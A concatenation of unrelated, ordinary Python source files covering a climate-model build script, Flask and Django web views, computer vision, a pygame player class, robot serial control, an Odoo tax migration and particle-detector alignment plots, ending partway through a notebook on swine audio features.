from __future__ import print_function
import os, os.path, sys, glob
import platform as P

# Set up model source and tools directory (the "srcdir='src'" thing is
# there to allow us to run SCons in the root cgenie directory for
# development purposes -- normal job builds will pick up an explicit
# job configuration and model source directory file in their build
# directory).

if os.path.exists('version.py'):
    execfile('version.py')
    sys.path.append(scriptdir)
else:
    srcdir = 'src'
    if 'debug' in ARGUMENTS:
        build_type = 'debug'
    else:
        build_type = 'normal'
    sys.path.append('tools')

import utils as U

# Read GENIE configuration.

if not U.read_cgenie_config():
    sys.exit('GENIE not set up: run the setup.py script!')

# Load platform configuration.

platform = U.discover_platform()
print('Using platform "' + platform + '"')
execfile(os.path.join(U.cgenie_root, 'platforms', platform))

# NetCDF paths.

netcdfinc = netcdf['base'][0]
netcdflib = netcdf['base'][1]

# GENIE modules to build.

modules = Split("""atchem
                   biogem
                   embm
                   ents
                   gemlite
                   goldstein
                   goldsteinseaice
                   rokgem
                   sedgem""")
utils = Split('common utils wrappers')

# Subdirectories for compilation.

subdirs = modules + utils

# F90 module search paths.

modpath = map(lambda d: os.path.join('#/build', d), subdirs)

# Set up model version marker.

rev = ARGUMENTS['rev'] if 'rev' in ARGUMENTS else 'UNKNOWN'
defs = [f90['define'] + "REV=" + rev]

# Set up SCons environment: Fortran compiler definitions taken from
# platform configuration.  Some of these things are Windows-specific:
# the Microsoft linker uses the directory given in the TMP environment
# variable for temporary files, and if that's not defined, tries to
# put them in a read-only system directory; SCons uses the HOST_ARCH
# environment setting to decide whether to use 32- or 64-bit tools
# from Visual Studio.

envcopy = { }
envcopy['PATH'] = os.environ['PATH']
if 'TMP' in os.environ: envcopy['TMP'] = os.environ['TMP']
baselinkflags = []
if 'baselinkflags' in f90:
    baselinkflags = f90['baselinkflags']
extraf90flags = []
if build_type in f90: extraf90flags = f90[build_type]
extralinkflags = []
if build_type + '_link' in f90: extralinkflags = f90[build_type + '_link']
extraf90libpaths = []
if 'libpath' in f90: extraf90libpaths.append(f90['libpath'])
extraf90libs = []
if 'libs' in f90: extraf90libs.append(f90['libs'])

target_vs_arch = 'linux'
if 'TARGET_VS_ARCH' in os.environ:
    target_vs_arch = os.environ['TARGET_VS_ARCH']

env = Environment(ENV = envcopy,
                  TOOLS = ['default', f90['compiler']],
                  HOST_ARCH = target_vs_arch,
                  F90FLAGS = f90['baseflags'] + extraf90flags + defs,
                  LINKFLAGS = baselinkflags + extralinkflags,
                  F90PATH = [netcdfinc] + modpath,
                  FORTRANMODDIRPREFIX = f90['module_dir'],
                  FORTRANMODDIR = '${TARGET.dir}',
                  LIBPATH = [netcdflib] + extraf90libpaths,
                  LIBS = netcdf['libs'] + extraf90libs)

if 'ld_library_path' in f90:
    env['ENV']['LD_LIBRARY_PATH'] = f90['ld_library_path']

print('SConstruct from cgenie called')

# Set up prompt progress reporting.

# if 'progress' not in ARGUMENTS or ARGUMENTS['progress'] == '1':
#     if P.system() == 'Windows':
#         screen = open('CON:', 'w')
#     else:
#         screen = open('/dev/tty', 'w')
#     def progress_function(node):
#         node = str(node)
#         if node.endswith('.f90'):
#             print(os.path.relpath(node, srcdir), file=screen)
#     Progress(progress_function)

# Build!

Export('env', 'subdirs', 'build_type')
SConscript(os.path.join(srcdir, 'SConscript'),
           variant_dir='#build', duplicate=0)
Install('.', 'build/genie.exe')


from flask import Blueprint, redirect, url_for
from flask_login import login_required

from extensions import dbs, sched

DebugTools = Blueprint('DebugTools', __name__)

@DebugTools.route('/debug/nickupdate')
@login_required
def nickupdate():
    dbs.update_discord_nicknames()
    return redirect(url_for('index'))

@DebugTools.route('/debug/avupdate')
@login_required
def avdownload():
    sched.run_job('Download avatars')
    return redirect(url_for('index'))


import numpy as np
import cv2
from matplotlib import pyplot as plt
from PIL import Image

# Import image with PIL
img = Image.open('Bilder\Draht1.jpg')

# Rotate image 180 degrees
img_r = img.rotate(180, expand=True)

# Transform image into Numpy Array
img_r = np.array(img_r)

# RGB to BGR
# img_r = img_r[:, :, ::-1].copy()

# Resize image
img_rs = cv2.resize(img_r, None, fx=0.125, fy=0.125, interpolation=cv2.INTER_CUBIC)

# Create a mask for the image
mask = np.zeros(img_rs.shape[:2], np.uint8)

# Create models for both the background and foreground
bgdModel = np.zeros((1, 65), np.float64)
fgdModel = np.zeros((1, 65), np.float64)

rect = (50, 110, 440, 275)
cv2.grabCut(img_rs,mask,rect,bgdModel,fgdModel,5,cv2.GC_INIT_WITH_RECT)
mask2 = np.where((mask == 2) | (mask == 0), 0, 1).astype('uint8')
img_m = img_rs*mask2[:, :, np.newaxis]

# Show image
plt.imshow(img_m)
plt.show()


import pygame

def debug(state=False):
    return state

class Player:
    def __init__(self, screen, location=(0, 0), size=(10, 10), color=(100, 0, 0)):
        self.screen = screen
        self.player_position = location
        self.player_size = size
        self.player_color = color
        self.death_color = (50, 50, 50)
        self.max_hp = 200
        self.player_health = 100
        print(f"Player Health = {self.max_hp}/{self.player_health}")

    def set_player_position(self, location):
        self.player_position = location

    def get_player_position(self):
        return self.player_position

    def draw_player(self):
        if self.player_health <= 0:
            color = self.death_color
        else:
            color = self.player_color
        return pygame.draw.rect(self.screen, color, (self.player_position, self.player_size))

    @staticmethod
    def get_input_direction():
        keys = pygame.key.get_pressed()
        up = keys[pygame.K_w]
        down = keys[pygame.K_s]
        left = keys[pygame.K_a]
        right = keys[pygame.K_d]
        key_values = [up, down, left, right]
        speed = 2
        if keys[pygame.K_LSHIFT]:
            speed = 5
        # Directional Values for movement
        d_up = (0, -1*speed)
        d_down = (0, 1*speed)
        d_left = (-1*speed, 0)
        d_right = (1*speed, 0)

        active_keys = 0
        for state in key_values:
            active_keys += state

        # Check for amount of movement keys being pressed
        if active_keys == 0 or active_keys == 4:
            idle = (0, 0)
            return idle
        elif active_keys == 1:
            # Check which key is being pressed and return direction
            if up:
                return d_up
            elif down:
                return d_down
            elif left:
                return d_left
            else:
                return d_right
        else:
            total_movement = (0, 0)
            if up:
                total_movement = Player.add_tuples(total_movement, Player.mult_tuple(d_up, 0.75))
            if down:
                total_movement = Player.add_tuples(total_movement, Player.mult_tuple(d_down, 0.75))
            if left:
                total_movement = Player.add_tuples(total_movement, Player.mult_tuple(d_left, 0.75))
            if right:
                total_movement = Player.add_tuples(total_movement, Player.mult_tuple(d_right, 0.75))
            return total_movement

    def update_player_position(self, step=1):
        if self.player_health > self.max_hp:
            self.player_health = self.max_hp
        if self.player_health > 0:
            self.player_position = self.add_tuples(self.player_position, self.get_input_direction())

    @staticmethod
    def add_tuples(tuple_a, tuple_b) -> tuple:
        total_tuple = [0, 0]
        for i in range(len(tuple_a)):
            total_tuple[i] = total_tuple[i] + tuple_a[i]
            total_tuple[i] = total_tuple[i] + tuple_b[i]
        return total_tuple

    @staticmethod
    def mult_tuple(tuple_a, number: float) -> tuple:
        total_tuple = [0, 0]
        for i in range(len(tuple_a)):
            total_tuple[i] = tuple_a[i] * number
        return total_tuple


from django.shortcuts import render, redirect
from django.http import HttpResponse
from django.contrib import messages
from utilities.helper import navBar

from .forms import SupplierForm
from .models import Supplier

from querybuilder.query import Query

def index(response):

    data = {
        "navbar": navBar("suppliers", "manage"),
        "suppliers": Supplier.objects.all(),
    }

    return render(response, "views/suppliers/index.html", {"items": data})

def create(response):

    data = {"navbar": navBar("suppliers", "new"), "newForm": SupplierForm()}

    return render(response, "views/suppliers/create.html", {"items": data})

def store(request):
    form = SupplierForm(request.POST)

    if form.is_valid():
        form.save()
        return redirect("/app/suppliers")

def show(request, code):

    supplier = Supplier.objects.get(supplier_code=code)

    data = {
        "navbar": navBar("suppliers", ""),
        "tab": request.GET.get("tab"),
        "supplier": supplier,
    }

    return render(request, "views/suppliers/show.html", {"items": data})

def edit(request, code):

    supplier = Supplier.objects.get(supplier_code=code)

    data = {
        "navbar": navBar("suppliers", ""),
        "form": SupplierForm(instance=supplier),
        "supplier": supplier,
    }

    return render(request, "views/suppliers/edit.html", {"items": data})

def distroy(request, id):

    supplier = Supplier.objects.get(id=id)

    supplier.delete()

    messages.success(request, "Supplier has successfully deleted")

    return redirect("/app/suppliers")


import keras
from keras import models
from keras.models import Sequential
from keras.preprocessing.image import ImageDataGenerator
import numpy as np
import os
import shutil

def cnn_eliminate(model_name, eli_path, train_path):
    prefix = "/home/zlstg1/cding0622/scripts/models"
    model_path = os.path.join(prefix, model_name)
    model = models.load_model(model_path)

    train_datagen = ImageDataGenerator(rescale=1./255)
    train_generator = train_datagen.flow_from_directory(
        train_path,
        target_size=(48, 48),
        batch_size=1,
        shuffle=False,
        color_mode='grayscale',
        class_mode='binary')
    p_acc = model.evaluate_generator(train_generator, train_generator.samples)
    print("Accuracy:  ", p_acc[1])

    pred = model.predict_generator(train_generator, train_generator.samples, verbose=1)
    print("\n")
    elim_list = []
    for i in range(train_generator.samples):
        file = train_generator.filenames[i]
        if "benign" in file and pred[i] > 0.5:
            elim_list.append(file)
        elif "malignant" in file and pred[i] <= 0.5:
            elim_list.append(file)
    print("%d files over threshold" % len(elim_list))
    for f in elim_list:
        #f = f.split("/", 1)[1]
        #print(f)
        tmp = os.path.join(eli_path, f)
        #os.remove(tmp)
        shutil.move(tmp, "/home/zlstg1/cding0622/project/eli_visualize")

if __name__ == "__main__":
    cnn_eliminate("model_full.h5", "/home/zlstg1/cding0622/project/cnn_eli/full_data/train", "/home/zlstg1/cding0622/project/ori/full_data/train")


from django.forms import ModelForm
from frAdmin.apps.web.models import UserProfile
from django.contrib.auth.models import User
from frAdmin.apps.web.managers.user_manager import UserManager
from django.contrib.auth.models import Group as GroupDjango
from django import forms

class UserProfileForm(ModelForm):
    class Meta:
        model = UserProfile
        fields = ['pass_limitation', 'mobile', 'unit', 'group', 'image_profile', 'last_pass', 'black_list']

        Widgets = {
            'mobile': forms.IntegerField(),
        }
        error_messages = {
            'image_profile': {
                'invalid': ("Image files only")
            }
        }

    objects = UserManager()

    def __init__(self, *args, **kwargs):
        super(UserProfileForm, self).__init__(*args, **kwargs)
        self.fields['group'].queryset = GroupDjango.objects.all()


import json

import frappe

@frappe.whitelist()
def update_task(args, field_map):
	"""Updates Doc (called via gantt) based on passed `field_map`"""
	args = frappe._dict(json.loads(args))
	field_map = frappe._dict(json.loads(field_map))
	d = frappe.get_doc(args.doctype, args.name)
	d.set(field_map.start, args.start)
	d.set(field_map.end, args.end)
	d.save()


import cv2
import numpy as np
import cv2.aruco as aruco
import math
import serial
from time import sleep
#cap = cv2.VideoCapture("http://192.168.43.63:4747/video")

ser=serial.Serial('COM5',9600)
sleep(2)
print("connected")

def writeToSerial(a, b, c, d):
    ser.write(str.encode(str(a) + ' ' + str(b) + ' ' + str(c) + ' ' + str(d) + ' 0\n'))
    ser.readline()
    pass
'''
def find_boat_centre():
    while(1):
        ret, arena = cap.read()
        #arena = frame[int(roi[1]):int(roi[1] + roi[3]), int(roi[0]):int(roi[0] + roi[2])]
        aruco_dict = aruco.Dictionary_get(aruco.DICT_5X5_250)
        parameters = aruco.DetectorParameters_create()
        corners, ids, rejectedImgPoints = aruco.detectMarkers(arena, aruco_dict, parameters=parameters)
        if ids is None:
            continue
        img=cv2.circle(arena,(corners[0][0][0][0],corners[0][0][0][1]),5,(0,0,255),2)
        cv2.imshow('img',img)
        cv2.waitKey(0)
        cv2.destroyWindow('img')
        print("corners")
        print(corners)
        for x in range(0,ids.shape[0]):
            p1 = max(corners[x][0][0][0], corners[x][0][1][0],
                    corners[x][0][2][0], corners[x][0][3][0])
            p2 = min(corners[x][0][0][0], corners[x][0][1][0],
                     corners[x][0][2][0], corners[x][0][3][0])
            q1 = max(corners[x][0][0][1], corners[x][0][1][1],
                     corners[x][0][2][1], corners[x][0][3][1])
            q2 = min(corners[x][0][0][1], corners[x][0][1][1],
                     corners[x][0][2][1], corners[x][0][3][1])
            xc = int(p2+abs(p1-p2)/2)
            yc = int(q2+abs(q1-q2)/2)
            return corners,(xc,yc)
'''
def bot_vector(p,i,j):
    return p[0][0][i]-p[0][0][j]

# return direction in which boat have to move
def dirn_of_mov_vector(boat_centre,next_cell):
    #cell_cent=(next_cell)
    #boat_centre[0]-=roi[0]
    #boat_centre[1]-=roi[1]# source of error y and x
    return next_cell-boat_centre

# determine angle between boat direction and direction of movemnet
def cross_pro(dirn_of_mov=[1,1],boat_vector=[0,1]):
    a=np.array(dirn_of_mov)
    b=np.array(boat_vector)
    print(np.cross(a, b))
    mag = (math.sqrt(dirn_of_mov[0] ** 2 + dirn_of_mov[1] ** 2)) * (math.sqrt(boat_vector[0] ** 2 + boat_vector[1] ** 2))
    print(math.degrees(math.asin(np.cross(a,b)/mag)))
    return (math.degrees(math.asin(np.cross(a,b)/mag)))

KP = 7
KD = 70
KI=0
MaxSpeedLine = 150
BaseSpeedLine = 100
#instantStopAngle = 0.250
#instantStopLine = 0.100

#thresholdForRect = 200

#Initializatins
prev_error = 0
rightMotorSpeed=0
leftMotorSpeed=0
motor_speed=0
#desired_value=(200,100)# set desired value according to camera

set_point=[(96,365),(56,269),(104,168),(274,252)]
i=0
'''
while (True):
    ret, image = cap.read()
    if(ret==False):
        break
    print("here1")
    cv2.imshow('frame', image)
    if cv2.waitKey(1) & 0xFF == ord('q'):
        break
    print("here2")

    p,center_of_bot=find_boat_centre()
    bv=bot_vector(p,0,1)
    dv=dirn_of_mov_vector(center_of_bot,set_point[i])
    error=cross_pro(dv,bv)
    if(abs(error)>80):
        # stop bot
        leftMotorSpeed=0
        rightMotorSpeed=0
        i+=1
        if(i>=4):
            i=i%4

        p, b_c = find_boat_centre()
        bv = bot_vector(p, 0, 1)
        dv = dirn_of_mov_vector(b_c, set_point[i])
        angle = cross_pro(bv, dv)
        while (angle > 10 | angle < -10):
            if (angle <= -10):
            # small right turn
                rightMotorSpeed=40
                leftMotorSpeed=40
                lind=0
                rind=1
                writeToSerial(rightMotorSpeed,leftMotorSpeed,rind,lind)
                sleep(0.05)
            elif angle > 10:
                # small left turn
                rightMotorSpeed = 40
                leftMotorSpeed = 40
                lind = 0
                rind = 1
                writeToSerial(rightMotorSpeed, leftMotorSpeed, rind, lind)
                sleep(0.05)

            p, b_c = find_boat_centre()
            bv = bot_vector(p, 0, 1)
            dv = dirn_of_mov_vector(b_c, set_point[i])
            angle = cross_pro(bv, dv)
        continue
    #integral = integral_prior + error * iteration_time
    #derivative = (error – prev_error) / iteration_time
    motor_speed = KP*error + KD*(error-prev_error)
    rightMotorSpeed = BaseSpeedLine - motor_speed
    leftMotorSpeed = BaseSpeedLine + motor_speed

    if (rightMotorSpeed > MaxSpeedLine): rightMotorSpeed = MaxSpeedLine
    if (leftMotorSpeed > MaxSpeedLine): leftMotorSpeed = MaxSpeedLine
    if (rightMotorSpeed < 0): rightMotorSpeed = 0
    if (leftMotorSpeed < 0): leftMotorSpeed = 0
    print('L:', leftMotorSpeed, 'R:', rightMotorSpeed)
    writeToSerial(leftMotorSpeed, rightMotorSpeed, 1, 1)
    prev_error = error
    #integral_prior = integral
    #sleep(iteration_time)
'''
while(1):
    lms=100
    rms=200
    ser.write(b'f')
    print(lms, rms)
    #writeToSerial(100,200,1,1)
    #print(lms,rms)
    sleep(2)


from openupgradelib import openupgrade

def _fill_111_tax_line(env, column, line_xml_id):
    ref = env.ref(line_xml_id)
    openupgrade.logged_query(
        env.cr,
        """
        INSERT INTO l10n_es_aeat_tax_line
        (res_id, name, field_number, amount, map_line_id, model)
        SELECT t.id, m.name, m.field_number, %s, m.id, '%s'
        FROM %s t
        JOIN l10n_es_aeat_map_tax_line m ON m.id = %s""" % (
            column,
            'l10n.es.aeat.mod111.report',
            'l10n_es_aeat_mod111_report',
            ref.id,
        )
    )

def _fill_111_move_line_refs(env, table, line_xml_id):
    """Fill field move_line_ids."""
    ref = env.ref(line_xml_id)
    openupgrade.logged_query(
        env.cr,
        """
        INSERT INTO account_move_line_l10n_es_aeat_tax_line_rel
        (l10n_es_aeat_tax_line_id, account_move_line_id)
        SELECT l.id, t.account_move_line
        FROM l10n_es_aeat_tax_line l, %s t
        WHERE l.map_line_id = %%s
        AND l.res_id = t.mod111""" % table, (ref.id, )
    )

def fill_111_values(env):
    """Create tax lines with the data that were previously stored on 111."""
    table_prefix = 'mod111_account_move_line'
    prefix = 'l10n_es_aeat_mod111.aeat_mod111_map_line_'
    _fill_111_tax_line(env, 'casilla_02', prefix + '02')
    _fill_111_tax_line(env, 'casilla_03', prefix + '03')
    _fill_111_tax_line(env, 'casilla_05', prefix + '05')
    _fill_111_tax_line(env, 'casilla_06', prefix + '06')
    _fill_111_tax_line(env, 'casilla_08', prefix + '08')
    _fill_111_tax_line(env, 'casilla_09', prefix + '09')
    _fill_111_move_line_refs(env, table_prefix + '02_rel', prefix + '02')
    _fill_111_move_line_refs(env, table_prefix + '03_rel', prefix + '03')
    _fill_111_move_line_refs(env, table_prefix + '05_rel', prefix + '05')
    _fill_111_move_line_refs(env, table_prefix + '06_rel', prefix + '06')
    _fill_111_move_line_refs(env, table_prefix + '08_rel', prefix + '08')
    _fill_111_move_line_refs(env, table_prefix + '09_rel', prefix + '09')

@openupgrade.migrate(use_env=True)
def migrate(env, version):
    fill_111_values(env)
    # Recompute fields
    records = env['l10n.es.aeat.mod111.report'].search([])
    records._compute_casilla_01()
    records._compute_casilla_04()
    records._compute_casilla_07()
    records._compute_casilla_28()
    records._compute_casilla_30()


import numpy as np
import pandas as pd
import math
from pylab import savefig, subplot
import matplotlib.pyplot as plt
from matplotlib import ticker
import matplotlib as mpl
import sys

import ROOT
from ROOT import Belle2
if len(sys.argv) < 2:
    sys.exit("No input .root file specified!")

inputroot = sys.argv[1]
file = ROOT.TFile(inputroot, "OPEN")
vxd = file.Get("VXDAlignment")

fileName = inputroot + '.txt'
text_file = open(fileName, "w")
text_file.write("layer ladder sensor param value\n")
for entry in vxd.getMap():
    element_parameter = entry.first
    value = entry.second
    element = element_parameter.first
    param = element_parameter.second
    vxdid = Belle2.VxdID(element)
    layer = vxdid.getLayerNumber()
    ladder = vxdid.getLadderNumber()
    sensor = vxdid.getSensorNumber()
    if sensor != 0:
        text_file.write("{0} {1} {2} {3} {4}\n".format(layer, ladder, sensor, param, value))
text_file.close()

# set to True, if automatic scaling is to be used, otherwise the values in the unit_scale dict will be used.
autoscale = True

# datafile structure
components = {'value'}
comp_map = {'value': 0}
parameters = {'du', 'dv', 'dw', 'alpha', 'beta', 'gamma', 'P_20', 'P_11', 'P_02', 'P_30', 'P_21', 'P_12', 'P_03'}
param_map = {1: 'du', 2: 'dv', 3: 'dw', 4: 'alpha', 5: 'beta', 6: 'gamma',
             31: 'P_20', 32: 'P_11', 33: 'P_02',
             41: 'P_30', 42: 'P_21', 43: 'P_12', 44: 'P_03'}
param_nums = dict([(u, v) for (v, u) in param_map.items()])
layers = {1, 2, 3, 4, 5, 6}

n_data = 10  # number of independent samples

# OK, we could make a dataframe for this, but then - why?
layer_phi0 = {
    1: 0.0,
    2: 0.0,
    3: 33.624 * np.pi / 180,
    4: 8 * np.pi / 180,
    5: -8 * np.pi / 180,
    6: -4 * np.pi / 180,
}
layer_nladders = {
    1: 8,
    2: 12,
    3: 7,
    4: 10,
    5: 12,
    6: 16,
}
layer_nsensors = {
    1: 2,
    2: 2,
    3: 2,
    4: 3,
    5: 4,
    6: 5,
}

# If you want to use preset scales, enter them here and set autoscale to False.
unit_scale = {'value': {'shift': (-10.0,
                                  10.,
                                  plt.cm.bwr,
                                  ' [um]'),
                        'rotation': (-1.0,
                                     1.0,
                                     plt.cm.bwr,
                                     ' [mrad]'),
                        'surface': (-10.0,
                                    10.,
                                    plt.cm.bwr,
                                    ' [um]')}}

# Read data into a pandas DataFrame
print('reading from file ' + fileName)

dataframe = pd.read_table(
    fileName,
    sep=' ',
    skipinitialspace=True,
    skiprows=1,
    names=[
        'layer',
        'ladder',
        'sensor',
        'parameter',
        'value'])

# Scale things properly
scale = np.where((dataframe.parameter < 4) | (dataframe.parameter > 6), 1.0e4, 1.0e3)
for colname in ['value']:
    dataframe[colname] *= scale

# If bias is average of 10 samples, scale t_mille by sqrt(10)
# dataframe['t_mille'] *= np.sqrt(10)

# Calculate and print scales.
# Maxima can be calculated for series of columns
data_columns = ['value']
min_shift = dataframe[data_columns][dataframe.parameter < 4].min().min()
max_shift = dataframe[data_columns][dataframe.parameter < 4].max().max()
min_shift = min(min_shift, -max_shift)
max_shift = max(-min_shift, max_shift)
min_rot = dataframe[data_columns][(3 < dataframe.parameter) & (dataframe.parameter < 7)].min().min()
max_rot = dataframe[data_columns][(3 < dataframe.parameter) & (dataframe.parameter < 7)].max().max()
min_rot = min(min_rot, -max_rot)
max_rot = max(-min_rot, max_rot)
min_sur2 = dataframe[data_columns][(30 < dataframe.parameter) & (dataframe.parameter < 34)].min().min()
max_sur2 = dataframe[data_columns][(30 < dataframe.parameter) & (dataframe.parameter < 34)].max().max()
min_sur2 = min(min_sur2, -max_sur2)
max_sur2 = max(-min_sur2, max_sur2)
min_sur3 = dataframe[data_columns][(40 < dataframe.parameter) & (dataframe.parameter < 45)].min().min()
max_sur3 = dataframe[data_columns][(40 < dataframe.parameter) & (dataframe.parameter < 45)].max().max()
min_sur3 = min(min_sur3, -max_sur3)
max_sur3 = max(-min_sur3, max_sur3)

if math.isnan(min_rot):
    min_rot = 0.
if math.isnan(max_rot):
    max_rot = 0.
if math.isnan(min_shift):
    min_shift = 0.
if math.isnan(max_shift):
    max_shift = 0.
if math.isnan(min_sur2):
    min_sur2 = 0.
if math.isnan(max_sur2):
    max_sur2 = 0.
if math.isnan(min_sur3):
    min_sur3 = 0.
if math.isnan(max_sur3):
    max_sur3 = 0.

print('Symmetrized scales for value: ')
print('Shifts:    ' + str(min_shift) + ' to ' + str(max_shift))
print('Rotations: ' + str(min_rot) + ' to ' + str(max_rot))
print('Surface^2  ' + str(min_sur2) + ' to ' + str(max_sur2))
print('Surface^3  ' + str(min_sur3) + ' to ' + str(max_sur3))

if autoscale:
    unit_scale['value']['shift'] = (min_shift, max_shift, plt.cm.bwr, ' [um]')
    unit_scale['value']['rotation'] = (min_rot, max_rot, plt.cm.bwr, ' [mrad]')
    unit_scale['value']['surface2'] = (min_sur2, max_sur2, plt.cm.bwr, ' [um]')
    unit_scale['value']['surface3'] = (min_sur3, max_sur3, plt.cm.bwr, ' [um]')

fig = plt.figure(figsize=(10, 6.5))
for value in components:
    for shiftrot, i_params in zip(['shift', 'rotation'], [[1, 2, 3], [4, 5, 6]]):
        cmin, cmax, cmap, unit = unit_scale[value][shiftrot]
        for i_param in i_params:
            parameter = param_map[i_param]
            # Make a subframe
            val_param = dataframe[['layer', 'ladder', 'sensor', value]][dataframe['parameter'] == i_param]
            val_param[value] = val_param[value]
            # Here comes the real thing
            ax = subplot(2, 3, i_param, projection='polar')
            layer_gap = 24
            bottom = 24  # starts at this, increases by sensor height in layers and layer_gap in between.
            for layer in layers:
                ladder_width = 2 * np.pi / layer_nladders[layer]
                ladder_angles = np.linspace(layer_phi0[layer], layer_phi0[layer] + 2 * np.pi, layer_nladders[layer], endpoint=False)

                for sensor in range(1, 1 + layer_nsensors[layer]):
                    height = (layer > 3 and sensor == 1) * 10.0 + 28.0 / (1.0 + 0.3 * layer + 0.5 * sensor)
                    content = height * np.ones(layer_nladders[layer])
                    bars = ax.bar(
                        ladder_angles,
                        content,
                        width=ladder_width,
                        bottom=bottom,
                        label=str(sensor + 1),
                        align='center',
                        # edgecolor='k',
                    )
                    bottom += height
                    for (ladder, bar) in zip(range(1, 1 + layer_nladders[layer]), bars):
                        cond = (val_param.layer == layer) & (val_param.ladder == ladder) & (val_param.sensor == sensor)
                        try:
                            c = float(val_param[value][cond])
                        except BaseException:
                            c = 0.
                        if (cmax - cmin) > 0.:
                            color_value = (c - cmin) / (cmax - cmin)
                        else:
                            color_value = 0.
                        bar.set_facecolor(cmap(color_value))
                        bar.set_linewidth(0.2)

                label_r = bottom + 8
                for i in range(layer_nladders[layer]):
                    ax.text(
                        ladder_angles[i],
                        label_r,
                        str(i + 1),
                        ha='center',
                        va='center',
                        fontsize=6,
                        # color='k',
                    )
                bottom += layer_gap * (1 + 0.5 * (layer == 2))

            ax.grid(False)
            ax.axis('off')

            plt.title(parameter)

        # if we are done with shifts/rotations, collect some data
        # for the colorbar
        if shiftrot == 'shift':
            par_shifts = (cmap, cmin, cmax, unit)
        elif shiftrot == 'rotation':
            par_rots = (cmap, cmin, cmax, unit)

    # Plot colorbars after rings are in place
    axb1 = fig.add_axes([0.01, 0.55, 0.02, 0.33])
    cmap, cmin, cmax, unit = par_shifts
    norm1 = mpl.colors.Normalize(vmin=cmin, vmax=cmax)
    cb1 = mpl.colorbar.ColorbarBase(axb1, cmap=cmap, norm=norm1, orientation='vertical')
    cb1.set_label('Shifts ' + unit)
    cb1.locator = ticker.MaxNLocator(nbins=11)
    cb1.update_ticks()
    # rotations
    axb2 = fig.add_axes([0.01, 0.11, 0.02, 0.33])
    cmap, cmin, cmax, unit = par_rots
    norm2 = mpl.colors.Normalize(vmin=cmin, vmax=cmax)
    cb2 = mpl.colorbar.ColorbarBase(axb2, cmap=cmap, norm=norm2, orientation='vertical')
    cb2.set_label('Rotations ' + unit)
    cb2.locator = ticker.MaxNLocator(nbins=11)
    cb2.update_ticks()

    fig.suptitle(value, fontsize=20, x=0.01, y=0.95, horizontalalignment='left')
    figname = inputroot + '.rigid.png'
    savefig(figname)
    print('Saved figure ' + figname)

fig = plt.figure(figsize=(14, 6.5))
for value in components:
    for shiftrot, i_params in zip(['surface2', 'surface3'], [[31, 32, 33], [41, 42, 43, 44]]):
        cmin, cmax, cmap, unit = unit_scale[value][shiftrot]
        for i_param in i_params:
            parameter = param_map[i_param]
            # Make a subframe
            val_param = dataframe[['layer', 'ladder', 'sensor', value]][dataframe['parameter'] == i_param]
            val_param[value] = val_param[value]
            # Here comes the real thing
            if shiftrot == 'surface2':
                ax = subplot(2, 4, i_param-30, projection='polar')
            if shiftrot == 'surface3':
                ax = subplot(2, 4, i_param-36, projection='polar')
            layer_gap = 24
            bottom = 24  # starts at this, increases by sensor height in layers and layer_gap in between.
            for layer in layers:
                ladder_width = 2 * np.pi / layer_nladders[layer]
                ladder_angles = np.linspace(layer_phi0[layer], layer_phi0[layer] + 2 * np.pi, layer_nladders[layer], endpoint=False)

                for sensor in range(1, 1 + layer_nsensors[layer]):
                    height = (layer > 3 and sensor == 1) * 10.0 + 28.0 / (1.0 + 0.3 * layer + 0.5 * sensor)
                    content = height * np.ones(layer_nladders[layer])
                    bars = ax.bar(
                        ladder_angles,
                        content,
                        width=ladder_width,
                        bottom=bottom,
                        label=str(sensor + 1),
                        align='center',
                        # edgecolor='k',
                    )
                    bottom += height
                    for (ladder, bar) in zip(range(1, 1 + layer_nladders[layer]), bars):
                        cond = (val_param.layer == layer) & (val_param.ladder == ladder) & (val_param.sensor == sensor)
                        try:
                            c = float(val_param[value][cond])
                        except BaseException:
                            c = 0.
                        if (cmax - cmin) > 0.:
                            color_value = (c - cmin) / (cmax - cmin)
                        else:
                            color_value = 0.
                        bar.set_facecolor(cmap(color_value))
                        bar.set_linewidth(0.2)

                label_r = bottom + 8
                for i in range(layer_nladders[layer]):
                    ax.text(
                        ladder_angles[i],
                        label_r,
                        str(i + 1),
                        ha='center',
                        va='center',
                        fontsize=6,
                        color='k',
                    )
                bottom += layer_gap * (1 + 0.5 * (layer == 2))

            ax.grid(False)
            ax.axis('off')

            plt.title(parameter)

        # if we are done with shifts/rotations, collect some data
        # for the colorbar
        if shiftrot == 'surface2':
            par_sur2 = (cmap, cmin, cmax, unit)
        elif shiftrot == 'surface3':
            par_sur3 = (cmap, cmin, cmax, unit)

    # Plot colorbars after rings are in place
    axb1 = fig.add_axes([0.01, 0.55, 0.02, 0.33])
    cmap, cmin, cmax, unit = par_sur2
    norm1 = mpl.colors.Normalize(vmin=cmin, vmax=cmax)
    cb1 = mpl.colorbar.ColorbarBase(axb1, cmap=cmap, norm=norm1, orientation='vertical')
    cb1.set_label('Quadratic parameters ' + unit)
    cb1.locator = ticker.MaxNLocator(nbins=11)
    cb1.update_ticks()
    # rotations
    axb2 = fig.add_axes([0.01, 0.11, 0.02, 0.33])
    cmap, cmin, cmax, unit = par_sur3
    norm2 = mpl.colors.Normalize(vmin=cmin, vmax=cmax)
    cb2 = mpl.colorbar.ColorbarBase(axb2, cmap=cmap, norm=norm2, orientation='vertical')
    cb2.set_label('Cubic parameters ' + unit)
    cb2.locator = ticker.MaxNLocator(nbins=11)
    cb2.update_ticks()

    fig.suptitle(value, fontsize=20, x=0.01, y=0.95, horizontalalignment='left')

    figname = inputroot + '.surface.png'
    savefig(figname)
    print('Saved figure ' + figname)


# %% [markdown]
# # Exporatory analysis of features extracted from swine audios
# This dataset contains the means of the extracted features, for each audio
# Many descriptions of features were taken from the following books:
# - https://books.google.com/books?hl=en&lr=&id=AF30yR41GIAC&oi=fnd&pg=PP9&dq=Signal+Processing+Methods+for+Music+Transcription&ots=Ooq77iPfKD&sig=WFyZTyVVFtagCBGCRLWpV8rY-Tk  # noqa: E501

# %% [markdown]
# # Imports

# %%
import matplotlib.pyplot as plt
import librosa as lr
import librosa.display as lrdisp
import numpy as np
import pandas as pd
import seaborn as sns

FILE_PREFIX = 'kdd'

# %% [markdown]
# # Loading dataset

# %%
df = pd.read_csv('features_means.csv', index_col=0, verbose=True)
df.index = pd.to_datetime(df.index)
df['rac'] = False
df.loc['2020-09-22':, 'rac'] = True  # type: ignore

# %% [markdown]
# ## Checking for and dropping duplicates

# %%
# Resetting index for duplicate analysis
df.reset_index(inplace=True)
print("Duplicates by filename:",
      df.duplicated(subset=['file_name']).value_counts(),
      sep='\n')
df.drop_duplicates(subset=['file_name'], inplace=True)
print("Duplicates by (datetime, ala, grupo):",
